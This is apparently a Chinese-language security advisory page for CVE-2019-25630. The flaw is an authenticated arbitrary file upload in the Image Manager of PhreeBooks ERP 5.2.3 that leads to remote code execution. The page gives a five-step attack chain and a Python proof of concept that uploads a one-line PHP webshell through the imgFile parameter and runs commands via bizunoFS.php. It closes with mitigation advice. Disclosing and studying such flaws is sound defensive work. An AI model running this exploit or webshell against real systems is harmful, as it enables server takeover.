IPBUF安全漏洞报告
English
CVE-2019-25630 CVSS 8.8 高危

CVE-2019-25630 PhreeBooks ERP任意文件上传漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2019-25630
漏洞类型
任意文件上传
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PhreeBooks ERP

相关标签

任意文件上传远程代码执行PhreeBooks ERPCVE-2019-25630

漏洞概述

PhreeBooks ERP 5.2.3版本的Image Manager组件存在任意文件上传漏洞。由于缺乏有效的文件类型验证,经过身份认证的攻击者可通过该接口上传恶意PHP文件,并利用特定脚本在服务器端执行任意代码,从而完全控制受影响系统。

技术细节

该漏洞的根本原因在于PhreeBooks ERP 5.2.3的Image Manager组件对用户上传的文件缺乏足够的安全校验。攻击者首先需要获取低权限账户,然后向`bizuno/image/manager`端点发送POST请求。在请求中,攻击者利用`imgFile`参数上传包含恶意PHP代码的文件(如webshell)。服务器将文件保存后,攻击者通过访问`bizunoFS.php`脚本并指定上传文件路径,迫使服务器解析并执行该PHP文件。由于上传的是可执行脚本,这直接导致了远程代码执行(RCE),攻击者可借此提升权限或进一步渗透内网。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统运行的是PhreeBooks ERP 5.2.3版本。
STEP 2
2. 获取凭证
攻击者注册或获取一个有效的低权限用户账户(满足PR:L要求)。
STEP 3
3. 漏洞利用
攻击者向`bizuno/image/manager`端点发送带有恶意PHP文件的POST请求,利用`imgFile`参数上传Webshell。
STEP 4
4. 代码执行
攻击者访问`bizunoFS.php`脚本并引用上传的文件路径,触发服务器端解析执行PHP代码。
STEP 5
5. 建立控制
执行系统命令,获取服务器权限,进行后续恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target.com/index.php?module=bizuno&action=image/manager" # Attacker's session cookie (Authentication required) cookies = { "PHPSESSID": "attacker_session_id" } # Malicious PHP file content php_code = "<?php system($_GET['cmd']); ?>" # Prepare multipart form data to upload PHP shell files = { "imgFile": ("shell.php", php_code, "application/octet-stream") } response = requests.post(url, files=files, cookies=cookies) if response.status_code == 200: print("[+] File uploaded successfully.") # Attempt to execute the uploaded file exec_url = "http://target.com/bizunoFS.php?path=shell.php&cmd=whoami" exec_response = requests.get(exec_url) print("[+] Command output:", exec_response.text) else: print("[-] Upload failed.")

影响范围

PhreeBooks ERP 5.2.3

防御指南

临时缓解措施
建议立即限制Image Manager组件仅允许管理员访问,并在Web服务器配置层面禁止在文件上传目录(如/images/)中执行PHP文件。同时,对所有已上传的文件进行全面审计,检查是否存在异常脚本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表